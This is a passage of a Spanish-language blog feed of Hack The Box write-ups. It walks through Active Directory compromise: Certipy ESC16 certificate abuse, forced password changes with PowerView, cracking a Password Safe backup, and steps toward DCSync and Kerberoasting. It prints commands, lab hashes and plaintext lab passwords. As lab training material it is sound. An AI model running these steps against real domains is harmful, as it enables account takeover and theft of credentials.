&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -k -dc-ip &amp;#39;10.0.0.100&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -target &amp;#39;CA.CORP.LOCAL&amp;#39; -ca &amp;#39;CORP-CA&amp;#39; \
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -template &amp;#39;User&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Expected Output Snippet:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;`Certipy v5.0.0 - by Oliver Lyak (ly4k)&lt;/p&gt;
&lt;p&gt;[*] Requesting certificate via RPC
[*] Request ID is 1
[*] Successfully requested certificate
[*] Got certificate with UPN &amp;lsquo;&lt;a href="mailto:administrator@corp.local"&gt;administrator@corp.local&lt;/a&gt;&amp;rsquo;
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to &amp;lsquo;administrator.pfx&amp;rsquo;
[*] Wrote certificate and private key to &amp;lsquo;administrator.pfx&amp;rsquo;` ”&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="ajuste-de-tiempo-y-hash-de-winrm_svc"&gt;Ajuste de tiempo y hash de winrm_svc&lt;/h3&gt;
&lt;p&gt;Necesito maniobrar rápido (porque &lt;code&gt;p.agila&lt;/code&gt; vuelve a su estado normal en poco tiempo), así que saco el hash de &lt;code&gt;winrm_svc&lt;/code&gt; para trabajar más cómodo.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;faketime &lt;span style="color:#f92672"&gt;-f&lt;/span&gt; +7h certipy-ad auth -pfx winrm_svc.pfx -dc-ip &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.78.23 -username winrm_svc -domain fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Certipy v4.8.2 - by Oliver Lyak (ly4k)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[!] Could not find identification &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; the provided certificate
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Using principal&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; winrm_svc@fluffy.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to get TGT...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got TGT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Saved credential cache to &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc.ccache&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Trying to retrieve NT hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[*] Got hash &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;winrm_svc@fluffy.htb&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; aad3b435b51404eeaad3b435b51404ee&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;33bd09dcd697600edf6b3a7af4875767
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nota: aquí uso &lt;code&gt;faketime&lt;/code&gt; para “fakear” la hora y evitar problemas de Kerberos (porque &lt;code&gt;ntpupdate&lt;/code&gt; no me estaba funcionando correctamente). Así me salto parte del lío de sincronización.&lt;/p&gt;
&lt;h3 id="user-flag-winrm"&gt;User flag (WinRM)&lt;/h3&gt;
&lt;p&gt;Con esa cuenta entro por &lt;strong&gt;evilwin-rm&lt;/strong&gt; y obtengo la user flag.&lt;/p&gt;
&lt;h3 id="esc16-upn-manipulation--certificado-de-administrator"&gt;ESC16: UPN manipulation + certificado de Administrator&lt;/h3&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-80a9-9bcf-fea8aa317c74.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Modifico el UPN de &lt;code&gt;ca_svc&lt;/code&gt; y lo pongo como &lt;code&gt;administrator&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/55341592-66fc-44f4-82cd-27c58b644b21.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Hago el request del certificado y puedo impersonar a Administrator.&lt;/p&gt;
&lt;p&gt;Después tengo que revertir el UPN de &lt;code&gt;ca_svc&lt;/code&gt; a otro valor para que el nombre &lt;code&gt;administrator&lt;/code&gt; vuelva a apuntar al Administrador real.&lt;/p&gt;
&lt;p&gt;Revierto el UPN de &lt;code&gt;ca_svc&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;certipy-ad account -u 'winrm_svc' -hashes '33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.129.78.23' -user 'ca_svc' -upn 'ca_svc_restored' update&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Y me autentico con el certificado de Administrator:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;faketime -f +7h certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.78.23 -domain fluffy.htb&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ed888fa-f353-8071-ae6b-e255a1c67dc4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo tengo.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Administrator (Medium)</title><link>https://synacklabs.github.io/posts/administrator/</link><pubDate>Sat, 17 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/administrator/</guid><description>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;</description><content>&lt;h3 id="resumen"&gt;Resumen&lt;/h3&gt;
&lt;p&gt;Esta máquina es una muy buena introducción a &lt;strong&gt;Active Directory&lt;/strong&gt; si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por &lt;strong&gt;WinRM&lt;/strong&gt;, enumeramos el dominio con &lt;strong&gt;RustHound/BloodHound&lt;/strong&gt;, abusamos de &lt;strong&gt;ACLs (GenericAll / ForceChangePassword)&lt;/strong&gt; para pivotar entre usuarios, recuperamos credenciales desde un &lt;strong&gt;backup&lt;/strong&gt; en FTP y terminamos con una cadena clásica hacia &lt;strong&gt;DCSync&lt;/strong&gt; para obtener el hash de Administrator.&lt;/p&gt;
&lt;p&gt;Aunque en HTB aparece como &lt;em&gt;Medium&lt;/em&gt;, &lt;strong&gt;no me parece una máquina complicada&lt;/strong&gt;. La dificultad real está en entender el &lt;em&gt;camino&lt;/em&gt; de AD y qué significa cada permiso, más que en la explotación en sí.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/3fde77c1-1af1-4b95-831e-6f03e9ae6057.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="enumeración"&gt;Enumeración&lt;/h3&gt;
&lt;p&gt;Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un &lt;strong&gt;DC&lt;/strong&gt; (Kerberos, LDAP, SMB, WinRM, etc.).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;21&lt;/span&gt;/tcp open ftp syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft ftpd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;/tcp open domain syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Simple DNS Plus
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;88&lt;/span&gt;/tcp open kerberos-sec syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Kerberos
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;135&lt;/span&gt;/tcp open msrpc syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;139&lt;/span&gt;/tcp open netbios-ssn syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows netbios-ssn
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;389&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;445&lt;/span&gt;/tcp open microsoft-ds? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;464&lt;/span&gt;/tcp open kpasswd5? syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;593&lt;/span&gt;/tcp open ncacn_http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows RPC over HTTP &lt;span style="color:#ae81ff"&gt;1.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;636&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3268&lt;/span&gt;/tcp open ldap syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft Windows Active Directory LDAP
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;3269&lt;/span&gt;/tcp open tcpwrapped syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;9389&lt;/span&gt;/tcp open mc-nmf syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; .NET Message Framing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;47001&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;127&lt;/span&gt; Microsoft HTTPAPI httpd &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Host&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; DC; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Windows
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="smb-445"&gt;SMB (445)&lt;/h3&gt;
&lt;p&gt;Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --shares
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Share Permissions Remark
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ADMIN$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;C$
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IPC$ READ Remote IPC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NETLOGON READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SYSVOL READ Logon server share
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc smb &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; --users
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;olivia
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;benjamin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ethan
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="acceso-inicial-por-winrm"&gt;Acceso inicial por WinRM&lt;/h3&gt;
&lt;p&gt;El siguiente paso lógico es probar WinRM, y efectivamente con &lt;strong&gt;Olivia&lt;/strong&gt; podemos entrar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nxc winrm &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 -u Olivia -p &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;WINRM &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.75.64 &lt;span style="color:#ae81ff"&gt;5985&lt;/span&gt; DC [+] administrator.htb\Olivia&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ichliebedich (Pwn3d!)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="enumeración-de-ad-con-rusthound--bloodhound"&gt;Enumeración de AD con RustHound + BloodHound&lt;/h3&gt;
&lt;p&gt;Una vez dentro, enumeramos el dominio con &lt;strong&gt;RustHound-CE&lt;/strong&gt; y luego lo analizamos con BloodHound.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce --domain administrator.htb -u olivia@administrator.htb -z
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MachineAccountQuota&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;... .//20260117114901_administrator-htb_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;rusthound-ce.zip
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; created!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el grafo vemos que &lt;strong&gt;Olivia&lt;/strong&gt; tiene &lt;strong&gt;GenericAll&lt;/strong&gt; sobre el usuario &lt;strong&gt;Michael&lt;/strong&gt;. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The GenericAll permission grants &lt;a href="mailto:OLIVIA@ADMINISTRATOR.HTB"&gt;OLIVIA@ADMINISTRATOR.HTB&lt;/a&gt; the ability to change the password of the user &lt;a href="mailto:MICHAEL@ADMINISTRATOR.HTB"&gt;MICHAEL@ADMINISTRATOR.HTB&lt;/a&gt; without knowing their current password.”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-9e38-d04952ca8100.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-1-olivia--michael-forcechangepassword"&gt;Pivot 1: Olivia → Michael (ForceChangePassword)&lt;/h3&gt;
&lt;p&gt;Subimos &lt;a href="http://powerview.ps/"&gt;&lt;strong&gt;PowerView.ps&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;1&lt;/strong&gt; (por ejemplo, con &lt;code&gt;upload&lt;/code&gt; desde &lt;code&gt;evil-winrm&lt;/code&gt;) y cambiamos la contraseña de Michael usando las credenciales de Olivia.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$SecPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;ichliebedich&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$Cred = New-Object
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;System.Management
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.Automation.PSCredential(&lt;span style="color:#e6db74"&gt;&amp;#39;ADMINISTRATOR\\olivia&amp;#39;&lt;/span&gt;, $SecPassword)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$UserPassword = ConvertTo-SecureString &lt;span style="color:#e6db74"&gt;&amp;#39;Password123!&amp;#39;&lt;/span&gt; -AsPlainText -Force
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto ya tenemos acceso como &lt;strong&gt;michael&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8026-9052-d9e91c5fbe0b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="pivot-2-michael--benjamin"&gt;Pivot 2: Michael → Benjamin&lt;/h3&gt;
&lt;p&gt;Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de &lt;strong&gt;Benjamin&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80da-8e46-f17321b7b796.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="ftp-recuperamos-un-backup-de-credenciales"&gt;FTP: recuperamos un backup de credenciales&lt;/h3&gt;
&lt;p&gt;Con Benjamin vemos algo nuevo: &lt;strong&gt;acceso a FTP&lt;/strong&gt;, donde encontramos un archivo de backup.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/1e271056-461f-40c4-98c2-f689545cfb96.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ftp&amp;gt; dir
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;24&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;08&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;13AM &lt;span style="color:#ae81ff"&gt;952&lt;/span&gt; Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El archivo es una base de datos de &lt;strong&gt;Password Safe V3&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;file Backup.psafe3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Backup.psafe3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Password Safe V3 database
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Extraemos el hash y lo crackeamos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80c4-9c5d-dd2207911152.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8094-8c58-cf4b7817fe09.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Abrimos el gestor y obtenemos 3 credenciales:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-8009-8081-deeb60a335b0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80d0-9294-c5225410b0c6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-plain" data-lang="plain"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="camino-a-domain-admin"&gt;Camino a Domain Admin&lt;/h3&gt;
&lt;p&gt;En BloodHound, mirando el &lt;strong&gt;Shortest Path to Domain Admin&lt;/strong&gt;, vemos una ruta clara:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Emily&lt;/strong&gt; tiene &lt;strong&gt;GenericWrite&lt;/strong&gt; sobre &lt;strong&gt;Ethan&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Si comprometemos Ethan, podemos hacer &lt;strong&gt;DCSync&lt;/strong&gt; para dumpear los hashes del dominio.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2eb888fa-f353-80e9-90d0-db836a402fb8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="intento-shadow-credentials-no-soportado"&gt;Intento: Shadow Credentials (no soportado)&lt;/h3&gt;
&lt;p&gt;Probamos &lt;strong&gt;Shadow Credentials&lt;/strong&gt;, pero el KDC no soporta autenticación con certificados y falla con:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;minikerberos.protocol.errors.KerberosError&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Error Name&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; KDC_ERR_PADATA_TYPE_NOSUPP
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="alternativa-kerberoasting-dirigido"&gt;Alternativa: Kerberoasting dirigido&lt;/h3&gt;
&lt;p&gt;Sin Shadow Credentials, seguimos por &lt;strong&gt;Kerberoasting&lt;/strong&gt;. Primero sincronizamos la hora para evitar problemas con Kerberos.&lt;/p&gt;
